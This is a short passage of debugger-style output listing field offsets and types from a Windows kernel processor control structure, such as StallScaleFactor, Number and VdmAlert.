+0x046 MinorVersion : Uint2B
+0x048 SetMember : Uint4B
+0x04c StallScaleFactor : Uint4B
+0x050 SpareUnused : UChar
+0x051 Number : UChar
+0x052 Spare0 : UChar
+0x053 SecondLevelCacheAssociativity : UChar
+0x054 VdmAlert : Uint4B
+0x058 KernelReserved : [14] Uint4B
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